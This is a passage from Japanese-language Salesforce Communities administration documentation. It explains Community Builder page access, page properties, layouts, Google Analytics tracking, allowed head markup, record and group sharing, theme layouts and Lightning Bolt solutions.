コミュニティページに対するページ固有のアクセス権を設定し、必要に応じてアクセスを制限または解放でき
るようにします。
ログインしていないユーザにコミュニティへのアクセスを許可する場合、コミュニティビルダーの [一般設定]

で、[公開ユーザがコミュニティにアクセスできます] を有効にします。

または、ページのプロパティでページレベルのアクセスを設定できます。
コミュニティのデフォルト設定

[一般設定] の [公開アクセス] の選択が反映されます。公開アクセスを許可すると、コミュニティページはデ
フォルトでライセンスのないユーザも含めた一般ユーザからのアクセスが可能になります。許可しない場
合、メンバーはコミュニティへのアクセス時にログインする必要があります。

公開
コミュニティのデフォルト設定にかかわらずページが公開されます。

ログインが必要
コミュニティのデフォルト設定に関わらずページが非公開になり、メンバーはログインが必要になります。
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この設定はコミュニティビルダーの利用者の条件に基づくページ表示とどのように連携するのでしょうか? メ
ンバーがページに最初にアクセスすると、まずコミュニティのデフォルト設定が確認されます。公開か、ユー
ザのログインが必要かが確認されます。最初の確認の後に、ページのアクセス権が確認されます。これをクリ
アすると、最後に [ページのバリエーション] で設定した、利用者の条件に基づく表示が確認されます。

メモ: ただし、これにはいくつかの例外があります。一部のページは常に公開され、他のページは常に非
公開になります。公開ページには、ログイン関連ページ (ログイン、登録、パスワードをリセット、ログ
インエラー、パスワードを確認) が含まれます。ダイレクトメッセージページは常に非公開です。
コミュニティビルダーでページまたはコミュニティレベルの公開アクセスが有効になっている場合、コ
ミュニティワークスペースまたは [コミュニティ管理]の [管理] > [個人設定]で [ゲストユーザは、公開ペー
ジでアセットファイルを表示できます]設定が有効になっています。この設定によって、ゲストユーザは
公開ページでコミュニティと共有されているアセットファイルを表示できます。この設定は、いずれか
のページで公開アクセスが有効になっている限り、有効になっています。

コミュニティビルダーでのページ種別とプロパティ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ページマネージャを使用して、コミュニティを構成する各種ページのプロパティ
を表示および編集します。

ページ種別 (1)
[ページ] メニューではコミュニティのページが種別ごとにグループ化されていま
す。
私の Apex ページ

ユーザが作成する標準ページです (作成したオブジェクトページは [オブジェ
クト] に表示されます)。

テンプレートページ
コミュニティテンプレートに付属するデフォルトのページです。

オブジェクト
コミュニティのオブジェクトのページで、オブジェクトのレコード詳細、リスト、関連リストページが含
まれます。
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汎用レコードページ
カスタマーサービス (Napili) テンプレートのみに付属するデフォルトのレコード詳細、リスト、関連リスト
ページです。これらの汎用ページは、カスタムオブジェクトページが存在しない場合に、Salesforce オブジェ
クトのレコード情報を表示するために使用されます。

ログインページ
コミュニティテンプレートに付属するデフォルトのログインページです。

ページプロパティ (2)
各ページで使用可能なプロパティは、選択したページ種別によって異なります。
名前

ページの名前。コミュニティビルダーにこのとおり表示されます。ユーザが作成した標準ページでのみ編
集できます。

タイトル
ページのタイトル。ブラウザのタブまたはウィンドウのタイトルにこのとおり表示されます。ページのブッ
クマークに使用され、検索エンジンの結果にも表示されます。
動的にタイトルを設定するテンプレートページセクションのページ (記事の詳細ページやトピックの詳細
ページなど) では使用できません。
デフォルトでは、オブジェクトセクションの詳細ページとリストページのタイトルは動的に設定されます。
そのため、タイトル項目はありますが、その値は上書きされます。ただし、ページのデフォルトコンポー
ネントを、ページタイトルを動的に設定しないカスタム Lightning コンポーネントで置き換えた場合、ここ
で設定したタイトルが使用されます。

URL

ページの URL。カスタムの標準ページでのみ編集可能です。
BaseURL

オブジェクトに関連付けられているすべてのページ (レコード詳細、リスト、関連リスト) の URL を同時に
変更できます。すべてのオブジェクトページで同じ URL プレフィックスが共有されるため、一貫性が向上
します。カスタムオブジェクトページでのみ編集可能です。

ページアクセス
ページへのアクセスのレベルを指定します。

説明
検索エンジン最適化の目的で使用され、検索エンジンの結果に表示されます。[カスタマーサポートへの連
絡]、[エラー]、[ホーム]、[トピックカタログ] テンプレートページと、[私の Apex ページ] および [ログイン
ページ] に表示されるすべてのページで使用できます。

コンテンツレイアウト
コンテンツレイアウトでは、2 列レイアウトなど、ページのコンテンツ領域を定義します。

テーマレイアウト種別
テーマレイアウト種別はテーマレイアウトに関連付けられます。
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コミュニティビルダーでのコミュニティページおよびコンポーネン
トの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

新しいコンポーネントをコミュニティのページに追加したり、既存のコンポー
ネントのプロパティを編集したりして、各ページを独自のニーズに合わせてカ
スタマイズできます。
コンポーネントを新しいカスタムページに追加するときは、ページの目的に基
づいてその構成を慎重に計画します。
1. 上部のツールバーの [ページ] メニューから、編集するページを選択します。
2. をクリックして [コンポーネント] パネルを開きます。

[コンポーネント] パネルには、選択したページと互換性のあるコンポーネントのリストのみが表示されま
す。たとえば、ユーザプロファイルの詳細コンポーネントをホームページに追加することはできません。

3. 必要なコンポーネントを [コンポーネント] パネルからページの編集可能な領域にドラッグします。
コンポーネントをコンテンツレイアウト範囲またはテーマレイアウト範囲にドラッグすると、範囲の識別
に役立つ表示ラベルが表示されます。テーマレイアウト範囲のコンポーネントは、そのテーマレイアウト
範囲を使用するすべての場所で共有され、コンポーネント名には [共有] 表示ラベルが追加されます。コン
テンツレイアウト範囲のコンポーネントはページに固有のコンポーネントです。

4. ページでコンポーネントのプロパティを編集するには、メインページキャンバスまたは [ページ構造] パネ
ルでそのコンポーネントを選択します。
コンポーネントを選択すると、コミュニティビルダーによってコンポーネントが青色の境界線で強調表示
され、フロート表示のプロパティエディタにコンポーネントのプロパティが示されます。
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5. 必要に応じて、コンポーネントを更新します。

例: 以下は、ホームページの [見出し] コンポーネント (1) と、サポートされている Lightningコンポーネント
のリスト (2) とプロパティ (3) を示すサンプル設定です。

ヒント:

• AppExchange で一連のカスタム Lightning コンポーネントを参照し、コミュニティビルダーから直接組織
に追加できます。[ページ] メニューで [AppExchange で追加コンポーネントを取得]をクリックします。
コミュニティの Lightning ページに追加できるコンポーネントが表示されます。コンポーネントを追加
すると、組織内のテンプレートベースのすべてのコミュニティの [コンポーネント] パネルに表示され
ます。

• カスタム Lightning コンポーネントを作成してコミュニティページで使用することもできます。カスタ
ムLightningコンポーネントの作成およびコミュニティビルダーでの有効化についての詳細は、『Lightning

コンポーネント開発者ガイド』を参照してください。

コミュニティビルダーでのデータがないページのエラーメッセージ
コミュニティビルダーで Lightning コンポーネントを使用してテンプレートベースのコミュニティページを
作成すると、ページが正しく読み込まれない状況になることがあります。このエラーが表示される理由と
修正方法について確認します。役立つ情報: ページを表示するには、コンポーネントに基盤となるデータが
あることを確認します。
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コミュニティビルダーでのデータがないページのエラーメッセージ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティビルダーで Lightning コンポーネントを使用してテンプレートベー
スのコミュニティページを作成すると、ページが正しく読み込まれない状況に
なることがあります。このエラーが表示される理由と修正方法について確認し
ます。役立つ情報: ページを表示するには、コンポーネントに基盤となるデータ
があることを確認します。

次の 3 つのいずれかの場合にコミュニティページでエラーが発生します。
• ページにコンポーネントがない
• ページに 1 つ以上のコンポーネントがあり、それらのコンポーネントに基盤となるデータがない
コンポーネントが動的データに依存しており、描画対象の基盤となるデータが見つからない場合、このエラー
が表示されます。たとえば、グループ ID が見つからない [グループ] コンポーネントやレコード ID が見つから
ないレコードでエラーが表示されます。

このようなエラーが表示される理由
ほとんどの場合、ページは情報が存在しない場所に情報を描画しようとします。たとえば、取引先オブジェク
ト用のレコード詳細ページを作成するとします。Salesforce で 取引先を設定していない場合、エラーが表示され
ます。または、グループ詳細ページを設定したが、新しいコミュニティにグループがないとします。この場合
もエラーが表示されます。
修正方法
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カスタマーサービス (Napili) テンプレートはトピックを使用してコミュニティのコンテンツを整理します。ト
ピックの詳細ページを表示するには、まず [コミュニティ管理] で [ナビゲーショントピック] を設定します。
カスタマーサービス (Napili)テンプレートの次のデフォルトページで、このようなエラーが表示される可能性が
あります。修正方法について次のヒントを参考にしてください。
• 記事の詳細: Salesforce ナレッジ記事を組織に少なくとも 1 つ作成します。
• トピックの詳細: ナビゲーショントピックを作成します。
• 質問の詳細: ナビゲーショントピックを作成します。[質問する] ボタンを使用して質問を作成します。
• フィードの詳細: [投稿パブリッシャー] または [質問する] ボタンを使用して投稿または質問を作成します。
• グループの詳細: コミュニティのグループを作成します。
Koa テンプレートの次のデフォルトページで、このようなエラーが表示される可能性があります。修正方法に
ついて次のヒントを参考にしてください。
• ホーム: データカテゴリとテンプレートを関連付けます。
• 記事の詳細: Salesforce ナレッジ記事を組織に少なくとも 1 つ作成します。
• 記事リスト: Salesforce ナレッジ記事を組織に少なくとも 1 つ作成します。
• カテゴリホーム: データカテゴリを組織に少なくとも 1 つ作成します。
• 検索: Salesforce ナレッジのデータカテゴリおよび記事を組織に少なくとも 1 つ作成します。
Kokua テンプレートの次のデフォルトページで、このようなエラーが表示される可能性があります。修正方法
について次のヒントを参考にしてください。
• ホーム: データカテゴリとテンプレートを関連付けます。
• 記事の詳細: Salesforce ナレッジ記事を組織に少なくとも 1 つ作成します。
• 記事リスト: Salesforce ナレッジ記事を組織に少なくとも 1 つ作成します。
• ケースの詳細: ケースをコミュニティまたは組織に少なくとも 1 つ作成します。
• カテゴリホーム: データカテゴリを組織に少なくとも 1 つ作成します。
• フィードの詳細: [投稿パブリッシャー] を使用して投稿または質問を作成します。
• 私のケース: ケースをコミュニティまたは組織に少なくとも 1 つ作成します。
• 検索: Salesforce ナレッジのデータカテゴリおよび記事を組織に少なくとも 1 つ作成します。
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コミュニティビルダーでのコンテンツレイアウトの変更
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

別のレイアウトに切り替えて、コミュニティのページの外観をすばやく変更し
ます。開発者コンソールで独自のカスタムレイアウトを作成し、インポートし
てコミュニティで使用することもできます。

メモ: この機能は、Koa、Kokua、およびカスタマーサービス (Napili) テンプ
レートの Winter '16 以降のバージョンと、Aloha テンプレートの Spring '16 以降
のバージョンで使用できます。

1. コミュニティビルダーで、ページのプロパティを開きます。ページの横の上
部のツールバーで をクリックするか、ページの横の [ページ] ドロップダ
ウンメニューで をクリックします。

2. [プロパティ] の [レイアウト] セクションで、[変更] をクリックします。

3. 新しいレイアウトを選択します。カスタムレイアウトを追加している場合は、標準コンテンツレイアウト
とカスタムコンテンツレイアウトの両方が表示されます。

4012

コミュニティビルダーでのコンテンツレイアウトの変更Salesforce Communities の設定および管理



4. [変更] をクリックします。
新しいレイアウトの構造が現在のレイアウトと異なる場合、一部の領域が表示されません。ただし、これ
らの領域も引き続き使用可能で、別のレイアウトにいつでも切り替えることができます。

メモ: デフォルトテンプレートページのレイアウトを変更した場合、元のレイアウトに戻すには [元に
戻す] をクリックします。これ以外に方法はありません。

カスタムレイアウトについての詳細は、「コミュニティのカスタムページレイアウトコンポーネントの作成」
を参照してください。
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Google Analytics トラッキング ID を使用したコミュニティユーザの追
跡

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

Google Analytics™ トラッキング ID を追加してコミュニティのページビューを追跡
します。Salesforce データにアクセスしてインサイトを深めることができます。
その後、より正確に顧客にリーチするようにコミュニティのページを調整しま
す。
Google Analytics を使用して追跡する手順は、次のとおりです。
1. コミュニティビルダーで、左サイドバーの をクリックし、[詳細] をク

リックします。
2. Google Analytics トラッキング ID を入力します。

3. ユーザ種別、ユーザ ID、検索活動を追跡するには、[Google Analytics で Salesforce データにアクセスするこ
とで、検索活動へのより深いインサイトが得られます] を有効にします。

4. サービスを有効にするには、コミュニティを公開します。
コミュニティの分析データは Google Analytics サービスに直接ストリーミングされ、そこで確認および解釈でき
ます。

メモ:  Google Analytics は Sandbox 環境ではサポートされていません。

コミュニティのカスタム Lightning コンポーネントの開発者向けに、global

forceCommunity:analyticsInteraction イベントが用意されています。このイベントを使用して、カス
タムコンポーネントによってトリガされるイベントを追跡します。

関連トピック:

Lightning コンポーネント開発者ガイド: forceCommunity:analyticsInteraction
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Google Analytics™ for Salesforce Communities の設定
ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

ユーザ ID、コミュニティユーザの種別、および検索活動を追跡するように Google

Analytics を設定し、この情報を意味のあるレポートに取り込めるようにします。
[Google Analytics で Salesforce データにアクセスすることで、検索活動へのより深
いインサイトが得られます]を有効にしたら、追加の設定を行って Google Analytics

で正しいレポート情報が取得されていることを確認する必要があります。
1. Google Analytics アカウントでカスタムディメンションを作成して、ユーザ種別

と Salesforce オブジェクトの情報を取得します。Google Analytics アカウントか
ら、[管理] > [プロパティ] > [カスタム定義] > [カスタムディメンション] に移動します。

2. [+ 新規カスタムディメンション] をクリックします。新規カスタムディメンションにより、Google Analytics

アカウントの新しいインデックスが作成されます。インデックス 1 の表示ラベルは[ユーザ種別]、インデッ
クス 2 の表示ラベルは [Salesforce Object] になっている必要があります。両方のインデックスには [一致] の
範囲が設定されている必要があります。Google Analytics アカウントでインデックス 1 とインデックス 2 がす
でに作成されている場合、Salesforce データを Google Analytics アカウントに適切に統合するには、正しい名前
のインデックス 1 とインデックス 2 を使用して新しいアカウントを作成する必要があります。

3. コミュニティ内の特定のユーザの活動を追跡するには、ユーザビューも作成する必要があります。[管理] >

[追跡情報] > [User-ID] に移動し、[作成] をクリックします。このビューに [ユーザエクスプローラ] という名
前を付けます。ビューに名前を付けたら、[ビューを作成] をクリックして終了します。

4. 各種ユーザがコミュニティでどのようなやりとりを行っているのかを追跡するには、[レポート作成] > [対
象者] > [ユーザエクスプローラ] > [ユーザフロー] をクリックします。

5. Salesforce コミュニティのデータと統合するように Google Analytics を設定したら、独自のレポートを作成する
か、事前設定済みの Google Analytics for Salesforce Communities パッケージをインストールできます。

ページの <head> へのマークアップの追加によるコミュニティのカ
スタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

コミュニティビルダーでページの <head>にカスタムマークアップを追加して、
カスタム分析を追加したり、SEO 結果を向上させたりします。

メモ:  Summer '17 ですべての組織に LockerService が自動的に有効化される前
に、headマークアップに次のタグ、属性、値のみが含まれていることを確
認してください。LockerService が有効化されると、無効な head マークアッ
プはセキュリティ上の理由により無効化されます。

許可される属性許可されるタグ

href、target<base>
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許可される属性許可されるタグ

as、charset、crossorigin、disabled、href、hreflang、id、import、
integrity、media、rel1、relList、rev、sheet、sizes、target、title、type
1 rel で許可される値は、alternate、author、bookmark、external、help、
icon、license、manifest、next、nofollow、noopener、noreferrer、
pingback、prefetch、preload、prev、search、stylesheet、tag です。

<link>

charset、content、http-equiv2、name、scheme
2 http-equiv で許可される値は cleartype、content-type、
content-language、default-style です。

<meta>

許可される属性はありません。<title>

たとえば、次のものを追加することによって、コミュニティのページをニーズに合わせてカスタマイズできま
す。
• 検索エンジンのみに参照される SEO メタタグ
• お気に入りアイコンまたは Web ページアイコン
1. コミュニティビルダーで、左サイドバーの をクリックし、[詳細] をクリックします。

2. [ヘッドマークアップを編集] をクリックします。
3. 必要な HTML を入力します。
4. 変更内容を保存します。

カスタムマークアップを追加すると、コードはすべてのページの <head> に追加されます。

例: この例では、コミュニティのページにお気に入りアイコンを含めるための HTML を追加しています。
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コミュニティビルダーでのページの削除
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

必要のなくなったコミュニティページやページのバリエーションを削除するに
は、ページのプロパティで実行します。
次のものは削除できません。
• テンプレートに付属する、デフォルトのページとオブジェクト
• ページのデフォルトのページバリエーション
• カスタムオブジェクトページ (詳細、リスト、関連リスト)。ただし、オブジェ

クト全体は削除できます。
ページまたはページのバリエーションを削除する手順は、次のとおりです。
1. コミュニティビルダーで、[ページ] メニューを開きます。
2. 削除するページの [ページのプロパティ] を開きます。ページの横の上部の

ツールバーで をクリックするか、ページの横の [ページ] ドロップダウン
メニューで をクリックします。

3. ページとそのページのバリエーション (ある場合) を削除するには、[プロパティ] タブで [ページを削除]をク
リックします。ページのバリエーションを削除するには、[ページのバリエーション] タブで [ ] > [削除]

をクリックします。
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コミュニティでのより多くの Salesforce オブジェクトデータの共有
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• 「コミュニティの作成

および管理」

カスタマーサービス (Napili)テンプレートでは、最小限の設定で取引先、ケース、
取引先責任者、ToDo、行動、およびカスタムオブジェクトのレコードデータを
共有できます。レコードデータには、ライセンス、プロファイル、権限セット、
および共有ルールによるユーザ権限が適用されます。

メモ: この機能は、カスタマーサービス (Napili) テンプレートの Winter '16 以
降のバージョンで使用できます。

• レコードのリストとそのリンクを作成します。
• 標準のレコード詳細ページを使用してコミュニティにレコード詳細を表示す

るか、カスタムページを作成します。
また、同じ方法でコミュニティにグループを追加することもできます。

4018

コミュニティでのより多くの Salesforce オブジェクト
データの共有

Salesforce Communities の設定および管理



コミュニティでのレコードのリストの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• 「コミュニティの作成

および管理」

取引先、ケース、取引先責任者、およびカスタムオブジェクトのレコードリス
トビューを作成し、カスタマーサービス (Napili) テンプレートのナビゲーション
メニューからリンクできます。標準搭載またはカスタムのページレイアウトを
使用してレコードのリストを表示できます。

メモ: この機能は、カスタマーサービス (Napili) テンプレートの Winter '16 以
降のバージョンで使用できます。

1. コミュニティビルダーで、[ナビゲーションメニュー] コンポーネントをドラッ
グアンドドロップし、テンプレート内の適切なページに追加します。このコ
ンポーネントはホームページに追加することをお勧めします。

2. サポート対象の Salesforce オブジェクトを参照するナビゲーションメニュー項
目を作成します。現在、カスタマーサービス (Napili)テンプレートは取引先、
ケース、取引先責任者、およびカスタムオブジェクトをサポートしていま
す。

3. 変更を公開します。

メモ: コミュニティが有効な場合、ナビゲーションメニュー項目を変更すると、ただちにコミュニティ
メンバーに表示されます。

完成です! 選択されたオブジェクトのレコードにリンクするナビゲーションメニュー項目が作成されます。内
部的には、データは Salesforce から取得され、汎用のレコードリストページを使用して表示されます。このペー
ジは、カスタマーサービス (Napili)テンプレートでは標準で使用でき、[レコードのホームリストビュー] Lightning

コンポーネントを使用して、適切なレイアウトでデータを表示します。

メモ: 汎用のレコードリストページでは、オブジェクトに対して、事前定義またはカスタムのリストビュー
ページが割り当てられていないデフォルトのリストビューレイアウトが提供されます。たとえば、別の
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Salesforce オブジェクトのナビゲーションメニュー項目を作成すると、同じページが使用されます。レコー
ドリストページを変更する場合は、影響を受けるすべてのオブジェクトを考慮する必要があります。

例: 「Featured Products」という、カスタムオブジェクトのリストビューページ。

• ナビゲーションメニュー項目の作成は、オブジェクトのレコードリストにリンクするための最も簡単な方
法です。オブジェクトにカスタムリストビューページを使用する場合は、コミュニティビルダーでコミュ
ニティの新規ページを作成します。1 列のレイアウトの標準ページ種別を選択します。[レコードのホーム
リストビュー] コンポーネントをページに追加して、オブジェクトを参照するようにコンポーネントプロパ
ティを設定し、ページを公開します。ページにリンクするには、カスタムナビゲーションメニュー項目を
作成し、内部ページ URL を使用します。

• Salesforce の場合と同様に、ユーザは、ライセンス、プロファイル、権限、および共有ルールでアクセス権
を付与されたレコードにのみアクセスできます。オブジェクトの「作成」権限を持つユーザは、リスト
ビューページからレコードを作成できます。このページからレコードを作成する機能は、モバイルデバイ
スではサポートされていません。

• ナビゲーションメニュー項目をゲストユーザには非表示にして、関連付けられたレコードリストビューペー
ジへのアクセスをブロックできます。

• ユーザがこのページのレコードをクリックすると、汎用のレコード詳細ページのレイアウトを使用するレ
コード詳細が表示されます。カスタムレコード詳細ページを作成してオブジェクトに割り当てると、代わ
りにそのページが使用されます。

• リストビューのレコードをクリックすると、カスタマーサービス (Napili) テンプレートのレコード詳細ペー
ジを使用してレコード詳細が表示されます。

• レコードリストページと [レコードのホームリストビュー] コンポーネントは、Koa および Kokua テンプレー
トでは使用できません。
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コミュニティでのレコード詳細の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• 「コミュニティの作成

および管理」

汎用のレコード詳細ページを使用したレコード詳細の表示や、カスタムレコー
ド詳細ページの作成を行うことができます。

メモ: この機能は、カスタマーサービス (Napili) テンプレートの Winter '16 以
降のバージョンで使用できます。

カスタマーサービス (Napili)テンプレートは、設定なしですぐに使用できるレコー
ド詳細ページをサポートしています。事前に割り当てられたレコード詳細ペー
ジのないコミュニティ内のすべてのオブジェクトでは、「レコード詳細」とい
う汎用のページを使用してレコードデータが表示されます。たとえば、ユーザ
に (事前に割り当てられたケース詳細レイアウトを使用する) ケース詳細ページ
が表示され、そこでユーザが関連レコードの取引先責任者をクリックするとし
ます。取引先責任者のカスタムレコード詳細ページを作成していない場合、取
引先責任者情報は汎用のレコード詳細ページを使用して表示されます。内部的
には、レコード詳細ページは [レコードの見出し] および [レコード情報] Lightning

コンポーネントを使用してレコードデータを表示します。
• レコードの見出し: レコード名と主要なレコードの特長と共に、レコードの

編集ボタンと削除ボタンが表示されます。
• レコード情報: 関連レコードとレコードフィードを含む、すべてのレコード詳細が表示されます。ユーザ

は、関連レコードの新規作成と、レコードフィードへの投稿もできます。
必要に応じて、取引先、取引先責任者、ケース、ToDo、行動、およびカスタムオブジェクトのカスタムレコー
ド詳細ページを作成できます。
1. コミュニティビルダーでデータ詳細ページを新規作成し、サポートされているオブジェクトを選択します。
2. [レコードの見出し] および [レコード情報] コンポーネントをそのページに追加し、プロパティパネルでコン

ポーネントのプロパティを設定します。
3. 変更を公開します。

メモ: コミュニティが有効な場合、ナビゲーションメニュー項目を変更すると、ただちにコミュニティ
メンバーに表示されます。

例:  [レコードの見出し] (1) および [レコード情報] (2) コンポーネントを含む、カスタムオブジェクトのレ
コード詳細ページ。
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• モバイルデバイスでコミュニティにアクセスするユーザは、レコード詳細ページからアクションにアクセ
スできます。たとえば、取引先の作成および編集アクセス権を持つパートナーユーザは、必要に応じて取
引先を作成または更新できます。

• 一部のオブジェクトには、事前に割り当てられたレコード詳細ページがあり、そのページにレコードデー
タ (ケースなど) が表示されます。コミュニティビルダーのページの [プロパティ] で、各オブジェクトで使
用可能なページと割り当てを確認できます。

• 事前に割り当てられたレコード詳細ページのないオブジェクトには、汎用のレコード詳細ページが使用さ
れます。レコード詳細ページレイアウトまたは設定を変更する場合は、そのページレイアウトを使用する
すべてのオブジェクトを考慮する必要があります。

• 必要なライセンス、プロファイル、および権限のないユーザは、レコードデータにアクセスできません。
• 必要な権限を持つユーザは、関連リストからレコードを作成し、レコードの見出しからレコードを編集お

よび削除できます。これらのアクションはモバイルデバイスではサポートされていません。
• Salesforce の各オブジェクトのページレイアウトによって [レコード情報] コンポーネントに表示される項目

が決まります。[強調表示パネル] レイアウトの項目によって [レコードの見出し] コンポーネントの表示内容
が決まります。この機能には、レコードタイプのサポートも含まれます。ページレイアウト、強調表示パ
ネル、およびレコードタイプの各設定を Salesforce 設定で変更できます。

• ユーザがコミュニティでレコードのフィードに投稿できるようにするには、Salesforce でレコードのフィー
ドを有効にします。

• レコード詳細ページ、[レコードの見出し] コンポーネント、および [レコード情報] コンポーネントは、Koa

および Kokua テンプレートでは使用できません。
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コミュニティへのグループの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• 「コミュニティの作成

および管理」

コミュニティのコラボレーションをもっと活発に行いたいなら、コミュニティ
メンバーやゲストユーザが、カスタマーサービス (Napili) コミュニティのグルー
プを参照したり、グループに参加したりできるようにしましょう。標準搭載さ
れているグループのデザインを使用するか、別のコンポーネントを使用してグ
ループ詳細ページのカスタマイズバージョンを作成します。

メモ: この機能は、カスタマーサービス (Napili) テンプレートの Winter '16 以
降のバージョンで使用できます。

1. グループをコミュニティで有効にするには、コミュニティのナビゲーション
メニューにグループを追加します。
グループを追加すると、コミュニティのグループリストにリンクするメニュー
項目が自動的に表示されます。このメニュー項目を公開すると、コミュニ
ティにログインしていないゲストユーザでも、有効な公開グループのリスト
を参照できます。

2. コミュニティを公開します。
3. グループパブリッシャーレイアウトにまだ [メンバーの追加] アクションがない場合は、レイアウトをカス

タマイズして追加します。このアクションを使用すると、グループ所有者およびグループマネージャがメ
ンバーをグループに追加できます。デフォルトで、このアクションはグループのアクションリストに表示
されません。
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ユーザがコミュニティの有効なグループの名前をクリックすると、グループの詳細ページにリダイレクトされ
ます。非公開グループの場合、ログインすることが求められます。ログイングループメンバーのみが非公開グ
ループのコンテンツを表示できます。
次の点に留意してください。
• コミュニティのグループを有効にする場合、デフォルトのグループの詳細ページを使用してグループのデー

タが表示されます。このページでは、内部的にグループコンポーネントを使用して、書式設定およびレイ
アウトが行われます。グループコンポーネントは、グループバナー、グループの詳細、関連リスト、グルー
プフィードが含まれる一元的な複合コンポーネントです。特に、デスクトップとモバイルデバイスのブラ
ウザで反応型コミュニティページが必要な場合は、この複合コンポーネントを使用することをお勧めしま
す。

• 別のレイアウトを使用したり、グループコンテンツの配置を詳細に制御したりする場合、カスタムコミュ
ニティページを作成し、グループバナー、グループの詳細、グループの関連リスト、フィードコンポーネ
ントを使用します。個々のコンポーネントの使用方法によっては、一部のデバイスで反応型カスタムペー
ジを実現できないこともあります。

• グループのおすすめは、コミュニティではサポートされていません。
カスタマーサービス (Napili) テンプレートのグループリスト

カスタマーサービス (Napili) テンプレートの [グループの詳細] ページ
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カスタムテーマレイアウトを使用したコミュニティのブランド変更
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタムテーマレイアウトを作成して、カスタマーサービス (Napili)コミュニティ
全体のデザインを更新します。会社のスタイルに合わせてヘッダーとフッター
をカスタマイズし、カスタム検索バーとユーザプロファイルメニューを作成し
ます。これで、カスタムテーマレイアウト、検索、およびユーザプロファイル
メニュー間を切り替えたり、それらをパッケージ化して他の組織と共有したり
できます。コンサルティングパートナーであるか ISV であるか、または単に独自
のコミュニティを改良するかにかかわらず、カスタムテーマレイアウトで簡単
にブランドを変更できます。

メモ: この機能は、Winter '16 以降のバージョンのカスタマーサービス (Napili)

テンプレートを使用するコミュニティで使用できます。
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テーマレイアウトとは?
テーマレイアウトは、コミュニティのテンプレートページの最上位のテンプレート (1) です。共通のヘッダー
とフッター (2) が含まれ、多くの場合、ナビゲーション、検索、およびユーザプロファイルメニューが含まれ
ます。テーマレイアウトは、ログインページを除く、コミュニティのすべてのページに適用されます。
一方、コンテンツレイアウト (3) では、2 列レイアウトなど、ページのコンテンツ領域を定義します。

テーマレイアウトのしくみ
forceCommunity:themeLayout インターフェースを実装する開発者コンソールで、開発者はカスタムテー
マレイアウトコンポーネントを作成できます。コンポーネントの準備ができたら、コミュニティビルダーの
[設定] > [テーマ] で、新しいテーマレイアウト (1) を選択するだけです。コミュニティのすべてのページがすぐ
に変換されます。
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開発者が forceCommunity:searchInterface を使用してカスタム検索コンポーネントを作成している場
合、または forceCommunity:profileMenuInterface を使用してカスタムユーザプロファイルコンポーネ
ントを作成している場合は、それらを切り替えることもできます。[カスタム検索コンポーネントを使用]また
は [カスタムユーザプロファイルコンポーネントを使用] (2) を選択し、必要なカスタムコンポーネントを選択
します。

例:
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カスタムLightningコンポーネントの作成およびコミュニティビルダーでの有効化についての詳細は、『Lightning

コンポーネント開発者ガイド』を参照してください。

Lightning Bolt ソリューション: 作成は一度だけ、配布と利用は何度で
も

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Boltにより、簡単に業界固有のソリューションを作成してエクスポート
し、それらを使用して新しいコミュニティを活性化したり、他のユーザが使用
できるようにパッケージ化および配布したりできます。一度作成すれば何度も
利用できるため、時間を節約できます。独自の組織用であるか、コンサルティ
ングパートナーや ISV として作成するかに関わらず、コミュニティの作成に必要
な時間が短縮され、開発コストが削減されます。

例: たとえば、製造業界またはテクノロジー業界のパートナーリレーションの管理 (PRM) コミュニティの
作成を専門としているとします。Lightning Bolt では、PRM に焦点を絞ったソリューションを作成してエク
スポートし、簡単に顧客に配布できます。テンプレートが顧客の組織にインストールされたら、固有の
ニーズに合わせてさらにカスタマイズできます。独自の組織でソリューションの大部分を作成して顧客
の組織に配布することで、コミュニティをあっと言う間に立ち上げることができます。

例: たとえば、ISV としてコミュニティビルダーで使用する E コマース機能を作成するため、いくつかのカ
スタム Lightningコンポーネントとカスタムページを作成するとします。ページとそのコンポーネントを 1

つのパッケージにバンドルし、顧客に配布できます。

Lightning Bolt ソリューションとは?
最もシンプルな状態の Lightning Bolt ソリューションは、ページ、コンテンツレイアウト、Lightning コンポーネ
ントに加えて、テーマレイアウトと CSS で構成されるエクスポートされたコミュニティテンプレートから成り
